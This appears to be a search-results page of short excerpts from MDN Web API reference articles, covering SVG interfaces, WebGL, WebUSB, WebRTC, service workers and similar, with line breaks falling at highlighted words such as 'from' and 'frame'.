... a pli message is used by video decoders (running on the receiving end of the stream) to notify the encoder (the sender) that an undefined amount of coded video data, which may span
frame boundaries, has been lost.
... this may trigger the sender to send a full
frame in order to allow the receiver to re-synchronize, since lost data may be an irrecoverable situation for decoding media.
RTCRtpTransceiver - Web APIs
this pairing of send and receive srtp streams is significant for some applications, so rtcrtptransceiver is used to represent this pairing, along with other important state
from the media section.
... properties currentdirection read only a string
from the enum rtcrtptransceiverdirection which indicates the transceiver's current directionality, or null if the transceiver is stopped or has never participated in an exchange of offers and answers.
... direction a string
from the enum rtcrtptransceiverdirection which is used to set the transceiver's desired direction.
Range.cloneContents() - Web APIs
the range.clonecontents() returns a document
fragment copying the objects of type node included in the range.
... partially selected nodes include the parent tags necessary to make the document
fragment valid.
... syntax document
fragment = range.clonecontents(); example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); document
fragment = range.clonecontents(); document.body.appendchild(document
fragment); specifications specification status comment domthe definition of 'range.clonecontents()' in that specification.
Range.setStart() - Web APIs
if the startnode is a node of type text, comment, or cdatasection, then startoffset is the number of characters
from the start of startnode.
... startoffset an integer greater than or equal to zero representing the offset for the start of the range
from the start of startnode.
...const endoffset = 5; // end at fifth node: dodge city, ks const range = document.createrange(); range.setstart(address, startoffset); range.setend(address, endoffset); const mark = document.createelement('mark'); range.surroundcontents(mark); result get characters
from a text node this example uses the range.setstart() and range.setend() methods to define the contents of a range.
ReadableStream.pipeThrough() - Web APIs
piping a stream will generally lock it for the duration of the pipe, preventing other readers
from locking it.
... syntax var transformedstream = readablestream.pipethrough(transformstream[, options]); parameters transformstream a transformstream (or an object with the structure {writable, readable}) consisting of a readable stream and a writable stream working together to transform some data
from one form to another.
...for example, a textdecoder, has bytes written to it and strings read
from it, while a video decoder has encoded bytes written to it and uncompressed video
frames read
from it.
Request.context - Web APIs
the deprecated context read-only property of the request interface contains the context of the request (e.g., audio, image, i
frame).
... the context of a request is only relevant in the serviceworker api; a service worker can make decisions based on whether the url is for an image, or an embeddable object such as a <video>, i
frame, etc.
... note: you can find a full list of the different available contexts including associated context
frame types, csp directives, and platform feature examples in the fetch spec request context section.
Request.mode - Web APIs
no-cors — prevents the method
from being anything other than head, get or post, and the headers
from being anything other than simple headers.
...this ensures that serviceworkers do not affect the semantics of the web and prevents security and privacy issues arising
from leaking data across domains.
... however, for requests created other than by the request.request constructor, no-cors is typically used as the mode; for example, for embedded resources where the request is initiated
from markup, unless the crossorigin attribute is present, the request is in most cases made using the no-cors mode — that is, for the <link> or <script> elements (except when used with modules), or <img>, <audio>, <video>, <object>, <embed>, or <i
frame> elements.
Response.type - Web APIs
cors: response was received
from a valid cross-origin request.
...this is the type for a response obtained
from response.error().
...we then fetch this request using fetch(), extract a blob
from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
SVGAElement - Web APIs
properties this interface also inherits properties
from its parent, svggraphicselement, and implements properties
from svgurireference and htmlhyperlinkelementutils.
... methods this interface has no methods but inherits methods
from its parent, svggraphicselement.
...not _blank"); } } specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation replaced inheritance
from svgelement by svggraphicselement and removed the interface implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by htmlhyperlinkelementutils scalable vector graphics (svg) 1.1 (second edition) recommendation initial definition ...
SVGAnimateElement - Web APIs
h="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimateelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svganimationelement.
... methods this interface has no methods but inherits methods
from its parent, svganimationelement.
... editor's draft removed the inheritance
from svgstylable.
SVGClipPathElement - Web APIs
301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgclippathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent, svgelement.
... candidate recommendation removed the inheritance
from svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, svgtransformable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgclippathelement' in that specification.
SVGDefsElement - Web APIs
ll="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgdefselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent, svggraphicselement.
... methods this interface doesn't implement any specific methods, but inherits properties
from its parent, svggraphicselement.
... candidate recommendation replaced the inheritance
from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggraphicselement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdefselement' in that specification.
SVGDescElement - Web APIs
x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgdescelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svggeometryelement.
... methods this interface has no methods but inherits methods
from its parent, svggeometryelement.
... candidate recommendation removed the inheritance
from svglangspace and svgstylable scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdescelement' in that specification.
SVGForeignObjectElement - Web APIs
y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="146" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgforeignobjectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svggraphicselement and implements properties
from svgurireference.
... methods this interface has no methods but inherits methods
from its parent, svggraphicselement and implements methods
from svgurireference.
... candidate recommendation replaced the inheritance
from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggraphicselement and svgurireference scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgforeignobjectelement' in that specification.
SVGGElement - Web APIs
fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svggraphicselement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svggraphicselement.
... candidate recommendation changed the inheritance
from svgelement to svggraphicselement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
SVGGraphicsElement: cut event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncut the eventʼs default action is to copy the current selection (if any) to the system clipboard and remove it
from the document.
... note though that cancelling the default action will also prevent the document
from being updated.
... so an event handler which wants to emulate the default action for "cut" while modifying the clipboard must also manually remove the selection
from the document.
SVGImageElement - Web APIs
x="111" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svggraphicselement.
... methods this interface also inherits methods
from its parent interface, svggraphicselement.
... candidate recommendation changed the inheritance
from svgelement to svggraphicselement, removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable and added the crossorigin property.
SVGLineElement - Web APIs
x="-99" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-29" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svglineelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svggeometryelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svggeometryelement.
... candidate recommendation changed the inheritance
from svgelement to svggeometryelement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
SVGPolygonElement - Web APIs
"#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-44" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpolygonelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent, svggeometryelement and also implements properties
from svganimatedpoints.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent, svggeometryelement.
... candidate recommendation replaced the inheritance
from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpolygonelement' in that specification.
SVGPolylineElement - Web APIs
#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-49" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpolylineelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent, svggeometryelement and also implements properties
from svganimatedpoints.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent, svggeometryelement.
... candidate recommendation replaced the inheritance
from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpolylineelement' in that specification.
SVGRectElement - Web APIs
x="-99" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-29" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svggeometryelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent, svggeometryelement.
... candidate recommendation replaced the inheritance
from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgrectelement' in that specification.
SVGStopElement - Web APIs
x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgstopelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement.
... candidate recommendation removed inheritance
from svgstylable.
SVGSwitchElement - Web APIs
="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgswitchelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svggraphicselement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svggraphicselement.
... candidate recommendation changed the inheritance
from svgelement to svggraphicselement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
SVGSymbolElement - Web APIs
="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsymbolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svggraphicselement, and implements properties
from svgfittoviewbox.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svggraphicselement, and implements methods
from svgfittoviewbox.
... candidate recommendation changed the inheritance
from svgelement to svggraphicselement and removed the implemented interfaces svglangspace, svgexternalresourcesrequired, and svgstylable.
SVGTextContentElement - Web APIs
properties this interface also inherits properties
from its parent, svggraphicselement.
... methods this interface also inherits methods
from its parent, svggraphicselement.
... candidate recommendation changed inheritance
from svgelement to svggraphicselement and getstartpositionofchar() and removed implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable interfaces and getendpositionofchar() to return a dompoint instead of an svgpoint.
SVGTitleElement - Web APIs
l="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtitleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement.
... candidate recommendation removed inheritance
from svglangspace and svgstylable.
Screen.lockOrientation() - Web APIs
a screen is considered in its secondary portrait mode if the device is held 180°
from its normal position and that position is in portrait, or if the normal position of the device is in landscape and the device held is turned by 90° anticlockwise.
...a screen is considered in its secondary landscape mode if the device held is 180°
from its normal position and that position is in landscape, or if the normal position of the device is in portrait and the device held is turned by 90° anticlockwise.
...otherwise, the screen orientation will change
from an orientation to another as long as the orientations are amongst the orientations the device has been locked to.
ScriptProcessorNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" properties inherits properties
from its parent, audionode.
... methods no specific methods; inherits methods
from its parent, audionode.
...for each channel and each sample
frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
Selection.setBaseAndExtent() - Web APIs
anchoroffset the number of child nodes
from the start of the anchor node that should be excluded
from the selection.
... focusoffset the number of child nodes
from the start of the focus node that should be included in the selection.
...for example, shift + ➡︎ would cause the selection to narrow
from the beginning rather than grow at the end.
ServiceWorker - Web APIs
properties the serviceworker interface inherits properties
from its parent, worker.
... methods the serviceworker interface inherits methods
from its parent, worker, with the exception of worker.terminate — this should not be accessible
from service workers.
... examples this code snippet is
from the service worker registration-events sample (live demo).
ServiceWorkerContainer.register() - Web APIs
you can call this method unconditionally
from the controlled page.
... there is
frequent confusion surrounding the meaning and use of scope.
...erviceworker' in navigator) { // declaring scope manually navigator.serviceworker.register('/sw.js', {scope: './'}).then(function(registration) { console.log('service worker registration succeeded:', registration); }, /*catch*/ function(error) { console.log('service worker registration failed:', error); }); } else { console.log('service workers are not supported.'); } there is
frequent confusion surrounding the meaning and use of scope.
SharedWorkerGlobalScope.applicationCache - Web APIs
important: application cache is deprecated as of firefox 44, and is no longer available in insecure contexts
from firefox 60 onwards (bug 1354175, currently nightly/beta only).
... example if a shared worker has an appcache associated with it, you can return a reference to the cache using self.applicationcache
from inside the shared worker.
... browser compatibility the compatibility table in this page is generated
from structured data.
Slottable: assignedSlot - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...oidopera for androidsafari on iossamsung internetassignedslot experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled
from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
... full support 10.1webview android full support 53chrome android full support 53firefox android full support 63 full support 63 no support 59 — 63disabled disabled
from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
SpeechSynthesisUtterance - Web APIs
properties speechsynthesisutterance also inherits properties
from its parent interface, eventtarget.
... error fired when an error occurs that prevents the utterance
from being succesfully spoken.
... inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), use the constructor to create a new utterance instance containing the text
from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method.
StyleSheet.disabled - Web APIs
the disabled property of the stylesheet interface determines whether the style sheet is prevented
from applying to the document.
...note that disabled == false does not guarantee the style sheet is applied (it could be removed
from the document, for instance).
... working draft no change
from document object model (dom) level 2 style specification.
SyncEvent - Web APIs
this interface inherits
from the extendableevent interface.
... properties inherits properties
from its ancestor, event.
... methods inherits methods
from its parent, extendableevent.
TaskAttributionTiming.containerType - Web APIs
the containertype readonly property of the taskattributiontiming interface returns the type of
frame container, one of i
frame, embed, or object.
... syntax var containertype = taskattributiontiming.containertype; value a domstring containing the container's type, one of i
frame, embed, or object.
... browser compatibility the compatibility table on this page is generated
from structured data.
TaskAttributionTiming - Web APIs
the taskattributiontiming interface of the long tasks api returns information about the work involved in a long task and its associate
frame context.
... the
frame context, also called the container, is the i
frame, embed or object that is being implicated, on the whole, for a long task.
...0" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">taskattributiontiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties taskattributiontiming.containertype read only returns the type of
frame container, one of i
frame, embed, or object.
Text.splitText() - Web APIs
living standard no change
from document object model (dom) level 3 core specification.
... obsolete no change
from document object model (dom) level 2 core specification.
... obsolete no change
from document object model (dom) level 1 specification.
URL.hash - Web APIs
the hash property of the url interface is a usvstring containing a '#' followed by the
fragment identifier of the url.
... the
fragment is not percent-decoded.
... if the url does not have a
fragment identifier, this property contains an empty string — "".
URLUtilsReadOnly - Web APIs
urlutilsreadonly has been removed
from the specification, and the properties it defined are now directly part of the affected interfaces.
... urlutilsreadonly.hash read only is a domstring containing a '#' followed by the
fragment identifier of the url.
... browser compatibility the compatibility table in this page is generated
from structured data.
USBEndpoint - Web APIs
properties usbendpoint.endpointnumber returns this endpoint's "endpoint number" which is a value
from 1 to 15 extracted
from the bendpointaddress field of the endpoint descriptor defining this endpoint.
... usbendpoint.direction returns the direction in which this endpoint transfers data, one of: "in" - data is transferred
from device to host.
... "out" - data is transferred
from host to device.
USBInTransferResult - Web APIs
the usbintransferresult interface of the webusb api provides the result
from a call to the transferin() and controltransferin() methods of the usbdevice interface.
... it represents the result
from requesting a transfer of data
from the usb device to the usb host.
... properties usbintransferresult.dataread only returns a dataview object containing the data received
from the usb device, if any.
USBIsochronousInTransferPacket - Web APIs
the usbisochronousintransferpacket interface of the webusb api is part of the response
from a call to the isochronoustransferin() method of the usbdevice interface.
... it represents the status of an individual packet
from a request to transfer data
from the usb device to the usb host over an isochronous endpoint.
... properties usbisochronousintransferpacket.dataread only read only returns a dataview object containing the data received
from the usb device in this packet, if any.
USBIsochronousOutTransferPacket - Web APIs
the usbisochronousouttransferpacket interface of the webusb api is part of the response
from a call to the isochronoustransferout() method of the usbdevice interface.
... it represents the status of an individual packet
from a request to transfer data
from the usb host to the usb device over an isochronous endpoint.
... properties usbisochronousouttransferpacket.byteswrittenread only returns the number of bytes
from the packet that were sent to the device.
USBOutTransferResult - Web APIs
the usbouttransferresult interface of the webusb api provides the result
from a call to the transferout() and controltransferout() methods of the usbdevice interface.
... it represents the result
from requesting a transfer of data
from the usb host to the usb device.
... properties usbouttransferresult.byteswrittenread only returns the number of bytes
from the transfer request that were sent to the device.
VideoPlaybackQuality.creationTime - Web APIs
example this example calls getvideoplaybackquality() to obtain a videoplaybackquality object, then determines what percentage of
frames have been lost by either corruption or being dropped.
... if that exceeds 10% (0.1), a function called lost
framesthresholdexceeded() is called to, perhaps, update a quality indicator to show an increase in
frame loss.
... var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if ((quality.corruptedvideo
frames + quality.droppedvideo
frames)/quality.totalvideo
frames > 0.1) { lost
framesthresholdexceeded(); } specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.corruptedvideo
frames' in that specification.
WebGL2RenderingContext.compressedTexSubImage3D() - Web APIs
syntax // read
from the buffer bound to gl.pixel_unpack_buffer void gl.compressedtexsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, imagesize, offset); void gl.compressedtexsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, arraybufferview srcdata, optional srcoffset, optional srclengthoverride); parameters target a glenum specifying the binding point (target) of the active texture.
...values: gl.compressed_r11_eac gl.compressed_signed_r11_eac gl.compressed_rg11_eac gl.compressed_signed_rg11_eac gl.compressed_rgb8_etc2 gl.compressed_rgba8_etc2_eac gl.compressed_srgb8_etc2 gl.compressed_srgb8_alpha8_etc2_eac gl.compressed_rgb8_punchthrough_alpha1_etc2 gl.compressed_srgb8_punchthrough_alpha1_etc2 imagesize a glint specifying the number of bytes to read
from the buffer bound to gl.pixel_unpack_buffer.
... offset a glint specifying the offset in bytes
from which to read
from the buffer bound to gl.pixel_unpack_buffer.
WebGLContextEvent - Web APIs
inheritance this interface inherits properties and methods
from its parent interface, event.
...ect x="116" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">webglcontextevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits properties
from its parent interface, event.
... methods this interface doesn't define any own methods, but inherits methods
from its parent interface, event.
WebGLRenderingContext.attachShader() - Web APIs
the webglrenderingcontext.attachshader() method of the webgl api attaches either a
fragment or vertex webglshader to a webglprogram.
... shader a
fragment or vertex webglshader.
... var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program,
fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw 'could not compile webgl program.
WebGLRenderingContext.compressedTexImage[23]D() - Web APIs
pixels); // additionally available in webgl 2: // read
from buffer bound to gl.pixel_unpack_buffer void gl.compressedteximage2d(target, level, internalformat, width, height, border, glsizei imagesize, glintptr offset); void gl.compressedteximage2d(target, level, internalformat, width, height, border, arraybufferview srcdata, optional srcoffset, optional srclengthoverride); // read
from buffer bound to gl.pixel_unpack_buffe...
... imagesize a glsizei specifying the number of bytes to read
from the buffer bound to gl.pixel_unpack_buffer.
... offset a glintptr specifying the offset in bytes
from which to read
from the buffer bound to gl.pixel_unpack_buffer.
WebGLRenderingContext.createProgram() - Web APIs
return value a webglprogram object that is a combination of two compiled webglshaders consisting of a vertex shader and a
fragment shader (both written in glsl).
... examples creating a webgl program var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program,
fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw 'could not compile webgl program.
... \n\n' + info; } see webglshader for information on creating the vertexshader and
fragmentshader in the above example.
WebGLRenderingContext.getUniformLocation() - Web APIs
example in this example, taken
from the animatescene() method in the article a basic 2d webgl animation example, obtains the locations of three uniforms
from the shading program, then sets the value of each of the three uniforms.
...calingfactor = gl.getuniformlocation(shaderprogram, "uscalingfactor"); uglobalcolor = gl.getuniformlocation(shaderprogram, "uglobalcolor"); urotationvector = gl.getuniformlocation(shaderprogram, "urotationvector") gl.uniform2fv(uscalingfactor, currentscale); gl.uniform2fv(urotationvector, currentrotation); gl.uniform4fv(uglobalcolor, [0.1, 0.7, 0.2, 1.0]); this code snippet is taken
from the function animatescene() in "a basic 2d webgl animation example." see that article for the full sample and to see the resulting animation in action.
... then the three uniforms' values are set: the uscalingfactor uniform — a 2-component vertex — receives the horizontal and vertical scaling factors
from the variable currentscale.
WebGLRenderingContext.pixelStorei() - Web APIs
pixel storage parameters parameter name (for pname) description type default value allowed values (for param) specified in gl.pack_alignment packing of pixel data into memory glint 4 1, 2, 4, 8 opengl es 2.0 gl.unpack_alignment unpacking of pixel data
from memory.
... glint 0 0 to infinity opengl es 3.0 gl.unpack_image_height image height used for reading pixel data
from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_skip_pixels number of pixel images skipped before the first pixel is read
from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_skip_rows number of rows of pixel locations skipped before the first pixel is read
from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_sk...
...ip_images number of pixel images skipped before the first pixel is read
from memory glint 0 0 to infinity opengl es 3.0 examples setting the pixel storage mode affects the webglrenderingcontext.readpixels() operations, as well as unpacking of textures with the webglrenderingcontext.teximage2d() and webglrenderingcontext.texsubimage2d() methods.
WebGLShader - Web APIs
the webglshader is part of the webgl api and can either be a vertex or a
fragment shader.
... function createshader (gl, sourcecode, type) { // compiles either a shader of type gl.vertex_shader or gl.
fragment_shader var shader = gl.createshader( type ); gl.shadersource( shader, sourcecode ); gl.compileshader( shader ); if ( !gl.getshaderparameter(shader, gl.compile_status) ) { var info = gl.getshaderinfolog( shader ); throw 'could not compile webgl program.
... var vertexshadersource = 'attribute vec4 position;\n' + 'void main() {\n' + ' gl_position = position;\n' + '}\n'; //use the createshader function
from the example above var vertexshader = createshader(gl, vertexshadersource, gl.vertex_shader) creating a
fragment shader var
fragmentshadersource = 'void main() {\n' + ' gl_
fragcolor = vec4(1.0, 1.0, 1.0, 1.0);\n' + '}\n'; //use the createshader function
from the example above var
fragmentshader = createshader(gl,
fragmentshadersource, gl.
fragment_shader) specifications spe...
Boilerplate 1 - Web APIs
« previousnext » this example describes repeated pieces of code that will be hidden
from now on, as well as defining a javascript utility function to make webgl initialization easier.
...so we are going to hide them
from now on.
...basically, it gets the webgl rendering context
from the canvas element, initializes the drawing buffer, clears it black, and returns the initialized context.
Raining rectangles - Web APIs
the game loop is responsible for drawing the animation
frames, and keeping the animation responsive to user input.
... timer = settimeout(drawanimation, 17); } function playerclick (evt) { // we need to transform the position of the click event
from // window coordinates to relative position inside the canvas.
... // in addition we need to remember that vertical position in // webgl increases
from bottom to top, unlike in the browser // window.
Data in WebGL - Web APIs
data( gl.array_buffer, flatten(vertexcolors), gl.static_draw ); var vcolor = gl.getattriblocation( program, "vcolor" ); gl.vertexattribpointer( vcolor, 4, gl.float, false, 0, 0 ); gl.enablevertexattribarray( vcolor ); //glsl attribute vec4 vcolor; void main() { fcolor = vcolor; } varyings varyings are variables that are declared by the vertex shader and used to pass data
from the vertex shader to the
fragment shader.
... <<how to use>> uniforms uniforms are set by the javascript code and are available to both the vertex and
fragment shaders.
... they're used to provide values that will be the same for everything drawn in the
frame, such as lighting positions and magnitudes, global transformation and perspective details, and so forth.
WebRTC API - Web APIs
interfaces rtcdtmfsender manages the encoding and transmission of dual-tone multi-
frequency (dtmf) signaling for an rtcpeerconnection.
...in this article, we'll look at the lifetime of a webrtc session,
from establishing the connection all the way through closing the connection when it's no longer needed.
... media capture
from dom elements working draft the initial definition on how to obtain stream of content
from dom elements in additions to these specifications defining the api needed to use webrtc, there are several protocols, listed under resources.
WebSocket.send() - Web APIs
blob specifying a blob enqueues the blob's raw data to be transmitted in a binary
frame.
... arraybufferview you can send any javascript typed array object as a binary
frame; its binary data contents are queued in the buffer, increasing the value of bufferedamount by the requisite number of bytes.
... note: gecko's implementation of the send() method differs somewhat
from the specification in gecko 6.0; gecko returns a boolean indicating whether or not the connection is still open (and, by extension, that the data was successfully queued or transmitted); this is corrected in gecko 8.0.
Web Animations API - Web APIs
can take an object created with the key
frameeffect() constructor.
... key
frameeffect describes sets of animatable properties and values, called key
frames and their timing options.
... effecttiming element.animate(), key
frameeffectreadonly.key
frameeffectreadonly(), and key
frameeffect.key
frameeffect() all accept an optional dictionary object of timing properties.
Attestation and Assertion - Web APIs
tpm - the trusted platform module (tpm) is a set of specifications
from the trusted platform group (tpg).
... android safetynet -prior to android key attestation, the only option for android devices was to create android safetynet attestations fido u2f - security keys that implement the fido u2f standard use this format none - browsers may prompt users whether they want a site to be allowed to see their attestation data and/or may remove attestation data
from the authenticator's response if the `attestation` parameter in `navigator.credentials.create()` is set to `none` the purpose of attestation is to cryptographically prove that a newly generated key pair came
from a specific device.
... it should be noted that while attestation provides the capability for a root of trust, validating the root of trust is
frequently not necessary.
Web NFC API - Web APIs
interfaces ndefmessage interface that represents ndef messages that can be received
from or sent to a compatible device or tag via nde
freader and ndefwriter objects respectively.
... nde
freader interface that enables reading messages
from compatible nfc devices or tags.
... nde
frecord interface that represents ndef records that can be included in an ndef message.
Web Speech API - Web APIs
there are two components to this api: speech recognition is accessed via the speechrecognition interface, which provides the ability to recognize voice context
from an audio input (normally via the device's default speech recognition service) and respond appropriately.
... web speech api interfaces speech recognition speechrecognition the controller interface for the recognition service; this also handles the speechrecognitionevent sent
from the recognition service.
... speechrecognitionerror represents error messages
from the recognition service.
window.cancelIdleCallback() - Web APIs
browser compatibility the compatibility table in this page is generated
from structured data.
...safari on iossamsung internetcancelidlecallback experimentalchrome full support 47edge full support 79firefox full support 55 full support 55 full support 53disabled disabled
from version 53: this feature is behind the dom.requestidlecallback.enabled preference (needs to be set to true).
...t nowebview android full support 47chrome android full support 47firefox android full support 55 full support 55 full support 53disabled disabled
from version 53: this feature is behind the dom.requestidlecallback.enabled preference (needs to be set to true).
Window.closed - Web APIs
examples change the url of a window
from a popup the following example demonstrates how a popup window can change the url of the window that opened it.
... re
freshing a previously opened popup in this example the function re
freshpopupwindow() calls the reload() method of the popup's location object to re
fresh its data.
